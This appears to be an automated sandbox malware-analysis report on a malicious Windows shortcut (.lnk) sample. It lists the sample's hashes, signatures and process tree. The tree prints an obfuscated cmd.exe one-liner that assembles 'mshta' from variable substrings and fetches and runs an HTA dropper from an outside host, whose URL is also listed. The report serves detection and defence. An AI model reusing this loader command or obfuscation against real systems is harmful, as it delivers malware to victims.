Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:40

General

  • Target
    DOC-HB6WTB.lnk
  • Size 2KB
  • Sample260804-kk31fswblc
  • SHA256 6309474eec742cc91e2feab497889fdb76a87d7f8d9d3de09340b63a279790c9
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-HB6WTB.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4856
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/C"set LD=winiunjqbomnkowpphmshwin&&set DuDS=logwmzeomnzcjblslog&&set kynR=sysxzsyemsrbmysys&&set yQM=cachepabdanvhcache&&set rpOpR=mrmn&&set NmWsw=2xshth4v&&set PW=w1aj&&set piGd=winwwcwojbuuoiukfonwqwin&&set XGyTw=oldwzqrvanysafvold&&set Dhgz=sysouighvxhfcjwsys&&set wRb=1qhs1wg&&set tA=9tartw&&set Hv=h@t@t@p@s:@/@/m@[email protected]/h/e@s@t@ag@i@[email protected]@?r=3914@6@9@FB@5@D@82@DB&&start /b !rpOpR:~2,1!!NmWsw:~2,3!!PW:~2,1! !Hv:@=!&&set mqRJ=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4084
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4804

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads